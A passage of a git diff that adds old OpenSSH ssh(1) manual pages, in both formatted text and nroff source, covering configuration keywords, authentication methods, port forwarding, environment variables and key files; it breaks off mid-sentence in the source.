HostName + Specifies the real host name to log into. This can be used to + specify nicknames or abbreviations for hosts. Default is the + name given on the command line. Numeric IP addresses are also + permitted (both on the command line and in HostName specifica- + tions). + + IdentityFile + Specifies the file from which the user's RSA authentication iden- + tity is read (default $HOME/.ssh/identity in the user's home di- + rectory). Additionally, any identities represented by the au- + thentication agent will be used for authentication. The file + name may use the tilde syntax to refer to a user's home directo- + ry. It is possible to have multiple identity files specified in + configuration files; all these identities will be tried in se- + quence. + + IdentityFile2 + Specifies the file from which the user's DSA authentication iden- + tity is read (default $HOME/.ssh/id_dsa in the user's home direc- + tory). The file name may use the tilde syntax to refer to a us- + er's home directory. It is possible to have multiple identity + files specified in configuration files; all these identities will + be tried in sequence. + + KeepAlive + Specifies whether the system should send keepalive messages to + the other side. If they are sent, death of the connection or + crash of one of the machines will be properly noticed. However, + this means that connections will die if the route is down tem- + porarily, and some people find it annoying. + + The default is ``yes'' (to send keepalives), and the client will + notice if the network goes down or the remote host dies. This is + important in scripts, and many users want it too. + + To disable keepalives, the value should be set to ``no'' in both + the server and the client configuration files. + + KerberosAuthentication + Specifies whether Kerberos authentication will be used. The ar- + gument to this keyword must be ``yes'' or ``no''. + + KerberosTgtPassing + Specifies whether a Kerberos TGT will be forwarded to the server. + This will only work if the Kerberos server is actually an AFS + kaserver. The argument to this keyword must be ``yes'' or + ``no''. + + LocalForward + Specifies that a TCP/IP port on the local machine be forwarded + over the secure channel to given host:port from the remote ma- + chine. The first argument must be a port number, and the second + must be host:port. Multiple forwardings may be specified, and + additional forwardings can be given on the command line. Only + the superuser can forward privileged ports. + + LogLevel + Gives the verbosity level that is used when logging messages from + ssh. The possible values are: QUIET, FATAL, ERROR, INFO, VERBOSE + and DEBUG. The default is INFO. + + NumberOfPasswordPrompts + Specifies the number of password prompts before giving up. The + argument to this keyword must be an integer. Default is 3. + + PasswordAuthentication + Specifies whether to use password authentication. The argument + to this keyword must be ``yes'' or ``no''. Note that this option + applies to both protocol version 1 and 2. + + Port Specifies the port number to connect on the remote host. Default + is 22. + + Protocol + Specifies the protocol versions ssh should support in order of + preference. The possible values are ``1'' and ``2''. Multiple + versions must be comma-separated. The default is ``1,2''. This + means that ssh tries version 1 and falls back to version 2 if + version 1 is not available. + + ProxyCommand + Specifies the command to use to connect to the server. The com- + mand string extends to the end of the line, and is executed with + /bin/sh. In the command string, `%h' will be substituted by the + host name to connect and `%p' by the port. The command can be + basically anything, and should read from its standard input and + write to its standard output. It should eventually connect an + sshd(8) server running on some machine, or execute sshd -i some- + where. Host key management will be done using the HostName of + the host being connected (defaulting to the name typed by the us- + er). Note that CheckHostIP is not available for connects with a + proxy command. + + + + + RemoteForward + Specifies that a TCP/IP port on the remote machine be forwarded + over the secure channel to given host:port from the local ma- + chine. The first argument must be a port number, and the second + must be host:port. Multiple forwardings may be specified, and + additional forwardings can be given on the command line. Only + the superuser can forward privileged ports. + + RhostsAuthentication + Specifies whether to try rhosts based authentication. Note that + this declaration only affects the client side and has no effect + whatsoever on security. Disabling rhosts authentication may re- + duce authentication time on slow connections when rhosts authen- + tication is not used. Most servers do not permit RhostsAuthenti- + cation because it is not secure (see RhostsRSAAuthentication). + The argument to this keyword must be ``yes'' or ``no''. + + RhostsRSAAuthentication + Specifies whether to try rhosts based authentication with RSA + host authentication. This is the primary authentication method + for most sites. The argument must be ``yes'' or ``no''. + + RSAAuthentication + Specifies whether to try RSA authentication. The argument to + this keyword must be ``yes'' or ``no''. RSA authentication will + only be attempted if the identity file exists, or an authentica- + tion agent is running. Note that this option applies to protocol + version 1 only. + + SkeyAuthentication + Specifies whether to use skey(1) authentication. The argument to + this keyword must be ``yes'' or ``no''. The default is ``no''. + + StrictHostKeyChecking + If this flag is set to ``yes'', ssh ssh will never automatically + add host keys to the $HOME/.ssh/known_hosts and + $HOME/.ssh/known_hosts2 files, and refuses to connect hosts whose + host key has changed. This provides maximum protection against + trojan horse attacks. However, it can be somewhat annoying if + you don't have good /etc/ssh_known_hosts and + /etc/ssh_known_hosts2 files installed and frequently connect new + hosts. Basically this option forces the user to manually add any + new hosts. Normally this option is disabled, and new hosts will + automatically be added to the known host files. The host keys of + known hosts will be verified automatically in either case. The + argument must be ``yes'' or ``no''. + + UsePrivilegedPort + Specifies whether to use a privileged port for outgoing connec- + tions. The argument must be ``yes'' or ``no''. The default is + ``yes''. Note that setting this option to ``no'' turns off + RhostsAuthentication and RhostsRSAAuthentication. + + User Specifies the user to log in as. This can be useful if you have + a different user name on different machines. This saves the + trouble of having to remember to give the user name on the com- + mand line. + + UserKnownHostsFile + Specifies a file to use instead of $HOME/.ssh/known_hosts. + + UseRsh Specifies that rlogin/rsh should be used for this host. It is + possible that the host does not at all support the ssh protocol. + This causes ssh to immediately execute rsh(1). All other options + (except HostName) are ignored if this has been specified. The + argument must be ``yes'' or ``no''. + + XAuthLocation + Specifies the location of the xauth(1) program. The default is + /usr/X11R6/bin/xauth. + +ENVIRONMENT + ssh will normally set the following environment variables: + + DISPLAY + The DISPLAY variable indicates the location of the X11 server. + It is automatically set by ssh to point to a value of the form + ``hostname:n'' where hostname indicates the host where the shell + runs, and n is an integer >= 1. ssh uses this special value to + forward X11 connections over the secure channel. The user should + normally not set DISPLAY explicitly, as that will render the X11 + connection insecure (and will require the user to manually copy + any required authorization cookies). + + HOME Set to the path of the user's home directory. + + LOGNAME + Synonym for USER; set for compatibility with systems that use + this variable. + + MAIL Set to point the user's mailbox. + + PATH Set to the default PATH, as specified when compiling ssh. + + SSH_AUTH_SOCK + indicates the path of a unix-domain socket used to communicate + with the agent. + + SSH_CLIENT + Identifies the client end of the connection. The variable con- + tains three space-separated values: client ip-address, client + port number, and server port number. + + SSH_TTY + This is set to the name of the tty (path to the device) associat- + ed with the current shell or command. If the current session has + no tty, this variable is not set. + + TZ The timezone variable is set to indicate the present timezone if + it was set when the daemon was started (e.i., the daemon passes + the value on to new connections). + + USER Set to the name of the user logging in. + + Additionally, ssh reads $HOME/.ssh/environment, and adds lines of the + format ``VARNAME=value'' to the environment. + +FILES + $HOME/.ssh/known_hosts + Records host keys for all hosts the user has logged into (that + are not in /etc/ssh_known_hosts). See sshd(8). + + $HOME/.ssh/identity, $HOME/.ssh/id_dsa + Contains the RSA and the DSA authentication identity of the user. + These files contain sensitive data and should be readable by the + user but not accessible by others (read/write/execute). Note + that ssh ignores a private key file if it is accessible by oth- + ers. It is possible to specify a passphrase when generating the + key; the passphrase will be used to encrypt the sensitive part of + + this file using 3DES. + + $HOME/.ssh/identity.pub, $HOME/.ssh/id_dsa.pub + Contains the public key for authentication (public part of the + identity file in human-readable form). The contents of the + $HOME/.ssh/identity.pub file should be added to + $HOME/.ssh/authorized_keys on all machines where you wish to log + in using RSA authentication. The contents of the + $HOME/.ssh/id_dsa.pub file should be added to + $HOME/.ssh/authorized_keys2 on all machines where you wish to log + in using DSA authentication. These files are not sensitive and + can (but need not) be readable by anyone. These files are never + used automatically and are not necessary; they is only provided + for the convenience of the user. + + $HOME/.ssh/config + This is the per-user configuration file. The format of this file + is described above. This file is used by the ssh client. This + file does not usually contain any sensitive information, but the + recommended permissions are read/write for the user, and not ac- + cessible by others. + + $HOME/.ssh/authorized_keys + Lists the RSA keys that can be used for logging in as this user. + The format of this file is described in the sshd(8) manual page. + In the simplest form the format is the same as the .pub identity + files (that is, each line contains the number of bits in modulus, + public exponent, modulus, and comment fields, separated by + spaces). This file is not highly sensitive, but the recommended + permissions are read/write for the user, and not accessible by + others. + + $HOME/.ssh/authorized_keys2 + Lists the DSA keys that can be used for logging in as this user. + This file is not highly sensitive, but the recommended permis- + sions are read/write for the user, and not accessible by others. + + /etc/ssh_known_hosts, /etc/ssh_known_hosts2 + Systemwide list of known host keys. /etc/ssh_known_hosts con- + tains RSA and /etc/ssh_known_hosts2 contains DSA keys. These + files should be prepared by the system administrator to contain + the public host keys of all machines in the organization. This + file should be world-readable. This file contains public keys, + one per line, in the following format (fields separated by + spaces): system name, number of bits in modulus, public exponent, + modulus, and optional comment field. When different names are + used for the same machine, all such names should be listed, sepa- + rated by commas. The format is described on the sshd(8) manual + page. + + The canonical system name (as returned by name servers) is used + by sshd(8) to verify the client host when logging in; other names + are needed because ssh does not convert the user-supplied name to + a canonical name before checking the key, because someone with + access to the name servers would then be able to fool host au- + thentication. + + /etc/ssh_config + Systemwide configuration file. This file provides defaults for + those values that are not specified in the user's configuration + file, and for those users who do not have a configuration file. + This file must be world-readable. + + $HOME/.rhosts + This file is used in .rhosts authentication to list the host/user + pairs that are permitted to log in. (Note that this file is also + used by rlogin and rsh, which makes using this file insecure.) + Each line of the file contains a host name (in the canonical form + returned by name servers), and then a user name on that host, + separated by a space. One some machines this file may need to be + world-readable if the user's home directory is on a NFS parti- + tion, because sshd(8) reads it as root. Additionally, this file + must be owned by the user, and must not have write permissions + for anyone else. The recommended permission for most machines is + read/write for the user, and not accessible by others. + + Note that by default sshd(8) will be installed so that it re- + quires successful RSA host authentication before permitting + .rhosts authentication. If your server machine does not have the + client's host key in /etc/ssh_known_hosts, you can store it in + $HOME/.ssh/known_hosts. The easiest way to do this is to connect + back to the client from the server machine using ssh; this will + automatically add the host key to $HOME/.ssh/known_hosts. + + $HOME/.shosts + This file is used exactly the same way as .rhosts. The purpose + for having this file is to be able to use rhosts authentication + with ssh without permitting login with rlogin(1) or rsh(1). + + /etc/hosts.equiv + This file is used during .rhosts authentication. It contains + canonical hosts names, one per line (the full format is described + on the sshd(8) manual page). If the client host is found in this + file, login is automatically permitted provided client and server + user names are the same. Additionally, successful RSA host au- + thentication is normally required. This file should only be + writable by root. + + /etc/shosts.equiv + This file is processed exactly as /etc/hosts.equiv. This file may + be useful to permit logins using ssh but not using rsh/rlogin. + + /etc/sshrc + Commands in this file are executed by ssh when the user logs in + just before the user's shell (or command) is started. See the + sshd(8) manual page for more information. + + $HOME/.ssh/rc + Commands in this file are executed by ssh when the user logs in + just before the user's shell (or command) is started. See the + sshd(8) manual page for more information. + + $HOME/.ssh/environment + Contains additional definitions for environment variables, see + section ENVIRONMENT above. + + libcrypto.so.X.1 + A version of this library which includes support for the RSA al- + gorithm is required for proper operation. + +AUTHOR + OpenSSH is a derivative of the original (free) ssh 1.2.12 release by Tatu + Ylonen, but with bugs removed and newer features re-added. Rapidly after + the 1.2.12 release, newer versions of the original ssh bore successively + more restrictive licenses, and thus demand for a free version was born. + + This version of OpenSSH + + o has all components of a restrictive nature (i.e., patents) directly + removed from the source code; any licensed or patented components are + + + chosen from external libraries. + + o has been updated to support SSH protocol 1.5 and 2, making it compat- + ible with all other SSH clients and servers. + + o contains added support for kerberos(8) authentication and ticket + passing. + + o supports one-time password authentication with skey(1). + + OpenSSH has been created by Aaron Campbell, Bob Beck, Markus Friedl, + Niels Provos, Theo de Raadt, and Dug Song. + + The support for SSH protocol 2 was written by Markus Friedl. + +SEE ALSO + rlogin(1), rsh(1), scp(1), ssh-add(1), ssh-agent(1), ssh-keygen(1), + telnet(1), sshd(8), + +BSD Experimental September 25, 1999 13 diff --git a/other/openssh-reverse/ssh.1 b/other/openssh-reverse/ssh.1 new file mode 100644 index 0000000..905ebe0 --- /dev/null +++ b/other/openssh-reverse/ssh.1 @@ -0,0 +1,1231 @@ +.\" -*- nroff -*- +.\" +.\" ssh.1.in +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sat Apr 22 21:55:14 1995 ylo +.\" +.\" $Id: ssh.1,v 1.55 2000/05/31 06:36:40 markus Exp $ +.\" +.Dd September 25, 1999 +.Dt SSH 1 +.Os +.Sh NAME +.Nm ssh +.Nd OpenSSH secure shell client (remote login program) +.Sh SYNOPSIS +.Nm ssh +.Op Fl l Ar login_name +.Op Ar hostname | user@hostname +.Op Ar command +.Pp +.Nm ssh +.Op Fl afgknqtvxACNPTX246 +.Op Fl c Ar cipher_spec +.Op Fl e Ar escape_char +.Op Fl i Ar identity_file +.Op Fl l Ar login_name +.Op Fl o Ar option +.Op Fl p Ar port +.Oo Fl L Xo +.Sm off +.Ar port : +.Ar host : +.Ar hostport +.Sm on +.Xc +.Oc +.Oo Fl R Xo +.Sm off +.Ar port : +.Ar host : +.Ar hostport +.Sm on +.Xc +.Oc +.Op Ar hostname | user@hostname +.Op Ar command +.Sh DESCRIPTION +.Nm +(Secure Shell) is a program for logging into a remote machine and for +executing commands on a remote machine. +It is intended to replace +rlogin and rsh, and provide secure encrypted communications between +two untrusted hosts over an insecure network. +X11 connections and +arbitrary TCP/IP ports can also be forwarded over the secure channel. +.Pp +.Nm +connects and logs into the specified +.Ar hostname . +The user must prove +his/her identity to the remote machine using one of several methods +depending on the protocol version used: +.Pp +.Ss SSH protocol version 1 +.Pp +First, if the machine the user logs in from is listed in +.Pa /etc/hosts.equiv +or +.Pa /etc/shosts.equiv +on the remote machine, and the user names are +the same on both sides, the user is immediately permitted to log in. +Second, if +.Pa \&.rhosts +or +.Pa \&.shosts +exists in the user's home directory on the +remote machine and contains a line containing the name of the client +machine and the name of the user on that machine, the user is +permitted to log in. +This form of authentication alone is normally not +allowed by the server because it is not secure. +.Pp +The second (and primary) authentication method is the +.Pa rhosts +or +.Pa hosts.equiv +method combined with RSA-based host authentication. +It means that if the login would be permitted by +.Pa $HOME/.rhosts , +.Pa $HOME/.shosts , +.Pa /etc/hosts.equiv , +or +.Pa /etc/shosts.equiv , +and if additionally the server can verify the client's +host key (see +.Pa /etc/ssh_known_hosts +and +.Pa $HOME/.ssh/known_hosts +in the +.Sx FILES +section), only then login is permitted. +This authentication method closes security holes due to IP +spoofing, DNS spoofing and routing spoofing. +[Note to the administrator: +.Pa /etc/hosts.equiv , +.Pa $HOME/.rhosts , +and the rlogin/rsh protocol in general, are inherently insecure and should be +disabled if security is desired.] +.Pp +As a third authentication method, +.Nm +supports RSA based authentication. +The scheme is based on public-key cryptography: there are cryptosystems +where encryption and decryption are done using separate keys, and it +is not possible to derive the decryption key from the encryption key. +RSA is one such system. +The idea is that each user creates a public/private +key pair for authentication purposes. +The server knows the public key, and only the user knows the private key. +The file +.Pa $HOME/.ssh/authorized_keys +lists the public keys that are permitted for logging +in. +When the user logs in, the +.Nm +program tells the server which key pair it would like to use for +authentication. +The server checks if this key is permitted, and if +so, sends the user (actually the +.Nm +program running on behalf of the user) a challenge, a random number, +encrypted by the user's public key. +The challenge can only be +decrypted using the proper private key. +The user's client then decrypts the +challenge using the private key, proving that he/she knows the private +key but without disclosing it to the server. +.Pp +.Nm +implements the RSA authentication protocol automatically. +The user creates his/her RSA key pair by running +.Xr ssh-keygen 1 . +This stores the private key in +.Pa $HOME/.ssh/identity +and the public key in +.Pa $HOME/.ssh/identity.pub +in the user's home directory. +The user should then copy the +.Pa identity.pub +to +.Pa $HOME/.ssh/authorized_keys +in his/her home directory on the remote machine (the +.Pa authorized_keys +file corresponds to the conventional +.Pa $HOME/.rhosts +file, and has one key +per line, though the lines can be very long). +After this, the user can log in without giving the password. +RSA authentication is much +more secure than rhosts authentication. +.Pp +The most convenient way to use RSA authentication may be with an +authentication agent. +See +.Xr ssh-agent 1 +for more information. +.Pp +If other authentication methods fail, +.Nm +prompts the user for a password. +The password is sent to the remote +host for checking; however, since all communications are encrypted, +the password cannot be seen by someone listening on the network. +.Pp +.Ss SSH protocol version 2 +.Pp +When a user connects using the protocol version 2 +different authentication methods are available: +At first, the client attempts to authenticate using the public key method. +If this method fails password authentication is tried. +.Pp +The public key method is similar to RSA authentication described +in the previous section except that the DSA algorithm is used +instead of the patented RSA algorithm. +The client uses his private DSA key +.Pa $HOME/.ssh/id_dsa +to sign the session identifier and sends the result to the server. +The server checks whether the matching public key is listed in +.Pa $HOME/.ssh/authorized_keys2 +and grants access if both the key is found and the signature is correct. +The session identifier is derived from a shared Diffie-Hellman value +and is only known to the client and the server. +.Pp +If public key authentication fails or is not available a password +can be sent encrypted to the remote host for proving the user's identity. +This protocol 2 implementation does not yet support Kerberos or +S/Key authentication. +.Pp +Protocol 2 provides additional mechanisms for confidentiality +(the traffic is encrypted using 3DES, Blowfish, CAST128 or Arcfour) +and integrity (hmac-sha1, hmac-md5). +Note that protocol 1 lacks a strong mechanism for ensuring the +integrity of the connection. +.Pp +.Ss Login session and remote execution +.Pp +When the user's identity has been accepted by the server, the server +either executes the given command, or logs into the machine and gives +the user a normal shell on the remote machine. +All communication with +the remote command or shell will be automatically encrypted. +.Pp +If a pseudo-terminal has been allocated (normal login session), the +user can disconnect with +.Ic ~. , +and suspend +.Nm +with +.Ic ~^Z . +All forwarded connections can be listed with +.Ic ~# +and if +the session blocks waiting for forwarded X11 or TCP/IP +connections to terminate, it can be backgrounded with +.Ic ~& +(this should not be used while the user shell is active, as it can cause the +shell to hang). +All available escapes can be listed with +.Ic ~? . +.Pp +A single tilde character can be sent as +.Ic ~~ +(or by following the tilde by a character other than those described above). +The escape character must always follow a newline to be interpreted as +special. +The escape character can be changed in configuration files +or on the command line. +.Pp +If no pseudo tty has been allocated, the +session is transparent and can be used to reliably transfer binary +data. +On most systems, setting the escape character to +.Dq none +will also make the session transparent even if a tty is used. +.Pp +The session terminates when the command or shell in on the remote +machine exists and all X11 and TCP/IP connections have been closed. +The exit status of the remote program is returned as the exit status +of +.Nm ssh . +.Pp +.Ss X11 and TCP forwarding +.Pp +If the user is using X11 (the +.Ev DISPLAY +environment variable is set), the connection to the X11 display is +automatically forwarded to the remote side in such a way that any X11 +programs started from the shell (or command) will go through the +encrypted channel, and the connection to the real X server will be made +from the local machine. +The user should not manually set +.Ev DISPLAY . +Forwarding of X11 connections can be +configured on the command line or in configuration files. +.Pp +The +.Ev DISPLAY +value set by +.Nm +will point to the server machine, but with a display number greater +than zero. +This is normal, and happens because +.Nm +creates a +.Dq proxy +X server on the server machine for forwarding the +connections over the encrypted channel. +.Pp +.Nm +will also automatically set up Xauthority data on the server machine. +For this purpose, it will generate a random authorization cookie, +store it in Xauthority on the server, and verify that any forwarded +connections carry this cookie and replace it by the real cookie when +the connection is opened. +The real authentication cookie is never +sent to the server machine (and no cookies are sent in the plain). +.Pp +If the user is using an authentication agent, the connection to the agent +is automatically forwarded to the remote side unless disabled on +command line or in a configuration file. +.Pp +Forwarding of arbitrary TCP/IP connections over the secure channel can +be specified either on command line or in a configuration file. +One possible application of TCP/IP forwarding is a secure connection to an +electronic purse; another is going trough firewalls. +.Pp +.Ss Server authentication +.Pp +.Nm +automatically maintains and checks a database containing +identifications for all hosts it has ever been used with. +RSA host keys are stored in +.Pa $HOME/.ssh/known_hosts +and +DSA host keys are stored in +.Pa $HOME/.ssh/known_hosts2 +in the user's home directory. +Additionally, the files +.Pa /etc/ssh_known_hosts +and +.Pa /etc/ssh_known_hosts2 +are automatically checked for known hosts. +Any new hosts are automatically added to the user's file. +If a host's identification +ever changes, +.Nm +warns about this and disables password authentication to prevent a +trojan horse from getting the user's password. +Another purpose of +this mechanism is to prevent man-in-the-middle attacks which could +otherwise be used to circumvent the encryption. +The +.Cm StrictHostKeyChecking +option (see below) can be used to prevent logins to machines whose +host key is not known or has changed. +.Sh OPTIONS +.Bl -tag -width Ds +.It Fl a +Disables forwarding of the authentication agent connection. +.It Fl A +Enables forwarding of the authentication agent connection. +This can also be specified on a per-host basis in a configuration file. +.It Fl c Ar blowfish|3des +Selects the cipher to use for encrypting the session. +.Ar 3des +is used by default. +It is believed to be secure. +.Ar 3des +(triple-des) is an encrypt-decrypt-encrypt triple with three different keys. +It is presumably more secure than the +.Ar des +cipher which is no longer supported in +.Nm ssh . +.Ar blowfish +is a fast block cipher, it appears very secure and is much faster than +.Ar 3des . +.It Fl c Ar "3des-cbc,blowfish-cbc,arcfour,cast128-cbc" +Additionally, for protocol version 2 a comma-separated list of ciphers can +be specified in order of preference. Protocol version 2 supports +3DES, Blowfish and CAST128 in CBC mode and Arcfour. +.It Fl e Ar ch|^ch|none +Sets the escape character for sessions with a pty (default: +.Ql ~ ) . +The escape character is only recognized at the beginning of a line. +The escape character followed by a dot +.Pq Ql \&. +closes the connection, followed +by control-Z suspends the connection, and followed by itself sends the +escape character once. +Setting the character to +.Dq none +disables any escapes and makes the session fully transparent. +.It Fl f +Requests +.Nm +to go to background just before command execution. +This is useful if +.Nm +is going to ask for passwords or passphrases, but the user +wants it in the background. +This implies +.Fl n . +The recommended way to start X11 programs at a remote site is with +something like +.Ic ssh -f host xterm . +.It Fl g +Allows remote hosts to connect to local forwarded ports. +.It Fl i Ar identity_file +Selects the file from which the identity (private key) for +RSA authentication is read. +Default is +.Pa $HOME/.ssh/identity +in the user's home directory. +Identity files may also be specified on +a per-host basis in the configuration file. +It is possible to have multiple +.Fl i +options (and multiple identities specified in +configuration files). +.It Fl k +Disables forwarding of Kerberos tickets and AFS tokens. +This may also be specified on a per-host basis in the configuration file. +.It Fl l Ar login_name +Specifies the user to log in as on the remote machine. +This also may be specified on a per-host basis in the configuration file. +.It Fl n +Redirects stdin from +.Pa /dev/null +(actually, prevents reading from stdin). +This must be used when +.Nm +is run in the background. +A common trick is to use this to run X11 programs on a remote machine. +For example, +.Ic ssh -n shadows.cs.hut.fi emacs & +will start an emacs on shadows.cs.hut.fi, and the X11 +connection will be automatically forwarded over an encrypted channel. +The +.Nm +program will be put in the background. +(This does not work if +.Nm +needs to ask for a password or passphrase; see also the +.Fl f +option.) +.It Fl N +Do not execute a remote command. +This is usefull if you just want to forward ports +(protocol version 2 only). +.It Fl o Ar option +Can be used to give options in the format used in the config file. +This is useful for specifying options for which there is no separate +command-line flag. +The option has the same format as a line in the configuration file. +.It Fl p Ar port +Port to connect to on the remote host. +This can be specified on a +per-host basis in the configuration file. +.It Fl P +Use a non-privileged port for outgoing connections. +This can be used if your firewall does +not permit connections from privileged ports. +Note that this option turns off +.Cm RhostsAuthentication +and +.Cm RhostsRSAAuthentication . +.It Fl q +Quiet mode. +Causes all warning and diagnostic messages to be suppressed. +Only fatal errors are displayed. +.It Fl t +Force pseudo-tty allocation. +This can be used to execute arbitrary +screen-based programs on a remote machine, which can be very useful, +e.g., when implementing menu services. +.It Fl T +Disable pseudo-tty allocation (protocol version 2 only). +.It Fl v +Verbose mode. +Causes +.Nm +to print debugging messages about its progress. +This is helpful in +debugging connection, authentication, and configuration problems. +The verbose mode is also used to display +.Xr skey 1 +challenges, if the user entered "s/key" as password. +.It Fl x +Disables X11 forwarding. +.It Fl X +Enables X11 forwarding. +This can also be specified on a per-host basis in a configuration file. +.It Fl C +Requests compression of all data (including stdin, stdout, stderr, and +data for forwarded X11 and TCP/IP connections). +The compression algorithm is the same used by +.Xr gzip 1 , +and the +.Dq level +can be controlled by the +.Cm CompressionLevel +option (see below). +Compression is desirable on modem lines and other +slow connections, but will only slow down things on fast networks. +The default value can be set on a host-by-host basis in the +configuration files; see the +.Cm Compress +option below. +.It Fl L Ar port:host:hostport +Specifies that the given port on the local (client) host is to be +forwarded to the given host and port on the remote side. +This works by allocating a socket to listen to +.Ar port +on the local side, and whenever a connection is made to this port, the +connection is forwarded over the secure channel, and a connection is +made to +.Ar host +port +.Ar hostport +from the remote machine. +Port forwardings can also be specified in the configuration file. +Only root can forward privileged ports. +IPv6 addresses can be specified with an alternative syntax: +.Ar port/host/hostport +.It Fl R Ar port:host:hostport +Specifies that the given port on the remote (server) host is to be +forwarded to the given host and port on the local side. +This works by allocating a socket to listen to +.Ar port +on the remote side, and whenever a connection is made to this port, the +connection is forwarded over the secure channel, and a connection is +made to +.Ar host +port +.Ar hostport +from the local machine. +Port forwardings can also be specified in the configuration file. +Privileged ports can be forwarded only when +logging in as root on the remote machine. +.It Fl 2 +Forces +.Nm +to try protocol version 2 only. +.It Fl 4 +Forces +.Nm +to use IPv4 addresses only. +.It Fl 6 +Forces +.Nm +to use IPv6 addresses only. +.El +.Sh CONFIGURATION FILES +.Nm +obtains configuration data from the following sources (in this order): +command line options, user's configuration file +.Pq Pa $HOME/.ssh/config , +and system-wide configuration file +.Pq Pa /etc/ssh_config . +For each parameter, the first obtained value +will be used. +The configuration files contain sections bracketed by +.Dq Host +specifications, and that section is only applied for hosts that +match one of the patterns given in the specification. +The matched host name is the one given on the command line. +.Pp +Since the first obtained value for each parameter is used, more +host-specific declarations should be given near the beginning of the +file, and general defaults at the end. +.Pp +The configuration file has the following format: +.Pp +Empty lines and lines starting with +.Ql # +are comments. +.Pp +Otherwise a line is of the format +.Dq keyword arguments . +The possible +keywords and their meanings are as follows (note that the +configuration files are case-sensitive): +.Bl -tag -width Ds +.It Cm Host +Restricts the following declarations (up to the next +.Cm Host +keyword) to be only for those hosts that match one of the patterns +given after the keyword. +.Ql \&* +and +.Ql ? +can be used as wildcards in the +patterns. +A single +.Ql \&* +as a pattern can be used to provide global +defaults for all hosts. +The host is the +.Ar hostname +argument given on the command line (i.e., the name is not converted to +a canonicalized host name before matching). +.It Cm AFSTokenPassing +Specifies whether to pass AFS tokens to remote host. +The argument to this keyword must be +.Dq yes +or +.Dq no . +.It Cm BatchMode +If set to +.Dq yes , +passphrase/password querying will be disabled. +This option is useful in scripts and other batch jobs where you have no +user to supply the password. +The argument must be +.Dq yes +or +.Dq no . +.It Cm CheckHostIP +If this flag is set to +.Dq yes , +ssh will additionally check the host ip address in the +.Pa known_hosts +file. +This allows ssh to detect if a host key changed due to DNS spoofing. +If the option is set to +.Dq no , +the check will not be executed. +.It Cm Cipher +Specifies the cipher to use for encrypting the session. +Currently, +.Dq blowfish , +and +.Dq 3des +are supported. +The default is +.Dq 3des . +.It Cm Ciphers +Specifies the ciphers allowed for protocol version 2 +in order of preference. +Multiple ciphers must be comma-separated. +The default is +.Dq 3des-cbc,blowfish-cbc,arcfour,cast128-cbc . +.It Cm Compression +Specifies whether to use compression. +The argument must be +.Dq yes +or +.Dq no . +.It Cm CompressionLevel +Specifies the compression level to use if compression is enable. +The argument must be an integer from 1 (fast) to 9 (slow, best). +The default level is 6, which is good for most applications. +The meaning of the values is the same as in +.Xr gzip 1 . +.It Cm ConnectionAttempts +Specifies the number of tries (one per second) to make before falling +back to rsh or exiting. +The argument must be an integer. +This may be useful in scripts if the connection sometimes fails. +.It Cm DSAAuthentication +Specifies whether to try DSA authentication. +The argument to this keyword must be +.Dq yes +or +.Dq no . +DSA authentication will only be +attempted if a DSA identity file exists. +Note that this option applies to protocol version 2 only. +.It Cm EscapeChar +Sets the escape character (default: +.Ql ~ ) . +The escape character can also +be set on the command line. +The argument should be a single character, +.Ql ^ +followed by a letter, or +.Dq none +to disable the escape +character entirely (making the connection transparent for binary +data). +.It Cm FallBackToRsh +Specifies that if connecting via +.Nm +fails due to a connection refused error (there is no +.Xr sshd 8 +listening on the remote host), +.Xr rsh 1 +should automatically be used instead (after a suitable warning about +the session being unencrypted). +The argument must be +.Dq yes +or +.Dq no . +.It Cm ForwardAgent +Specifies whether the connection to the authentication agent (if any) +will be forwarded to the remote machine. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm ForwardX11 +Specifies whether X11 connections will be automatically redirected +over the secure channel and +.Ev DISPLAY +set. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm GatewayPorts +Specifies whether remote hosts are allowed to connect to local +forwarded ports. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm GlobalKnownHostsFile +Specifies a file to use instead of +.Pa /etc/ssh_known_hosts . +.It Cm HostName +Specifies the real host name to log into. +This can be used to specify nicknames or abbreviations for hosts. +Default is the name given on the command line. +Numeric IP addresses are also permitted (both on the command line and in +.Cm HostName +specifications). +.It Cm IdentityFile +Specifies the file from which the user's RSA authentication identity +is read (default +.Pa $HOME/.ssh/identity +in the user's home directory). +Additionally, any identities represented by the authentication agent +will be used for authentication. +The file name may use the tilde +syntax to refer to a user's home directory. +It is possible to have +multiple identity files specified in configuration files; all these +identities will be tried in sequence. +.It Cm IdentityFile2 +Specifies the file from which the user's DSA authentication identity +is read (default +.Pa $HOME/.ssh/id_dsa +in the user's home directory). +The file name may use the tilde +syntax to refer to a user's home directory. +It is possible to have +multiple identity files specified in configuration files; all these +identities will be tried in sequence. +.It Cm KeepAlive +Specifies whether the system should send keepalive messages to the +other side. +If they are sent, death of the connection or crash of one +of the machines will be properly noticed. +However, this means that +connections will die if the route is down temporarily, and some people +find it annoying. +.Pp +The default is +.Dq yes +(to send keepalives), and the client will notice +if the network goes down or the remote host dies. +This is important in scripts, and many users want it too. +.Pp +To disable keepalives, the value should be set to +.Dq no +in both the server and the client configuration files. +.It Cm KerberosAuthentication +Specifies whether Kerberos authentication will be used. +The argument to this keyword must be +.Dq yes +or +.Dq no . +.It Cm KerberosTgtPassing +Specifies whether a Kerberos TGT will be forwarded to the server. +This will only work if the Kerberos server is actually an AFS kaserver. +The argument to this keyword must be +.Dq yes +or +.Dq no . +.It Cm LocalForward +Specifies that a TCP/IP port on the local machine be forwarded over +the secure channel to given host:port from the remote machine. +The first argument must be a port number, and the second must be +host:port. +Multiple forwardings may be specified, and additional +forwardings can be given on the command line. +Only the superuser can forward privileged ports. +.It Cm LogLevel +Gives the verbosity level that is used when logging messages from +.Nm ssh . +The possible values are: +QUIET, FATAL, ERROR, INFO, VERBOSE and DEBUG. +The default is INFO. +.It Cm NumberOfPasswordPrompts +Specifies the number of password prompts before giving up. +The argument to this keyword must be an integer. +Default is 3. +.It Cm PasswordAuthentication +Specifies whether to use password authentication. +The argument to this keyword must be +.Dq yes +or +.Dq no . +Note that this option applies to both protocol version 1 and 2. +.It Cm Port +Specifies the port number to connect on the remote host. +Default is 22. +.It Cm Protocol +Specifies the protocol versions +.Nm +should support in order of preference. +The possible values are +.Dq 1 +and +.Dq 2 . +Multiple versions must be comma-separated. +The default is +.Dq 1,2 . +This means that 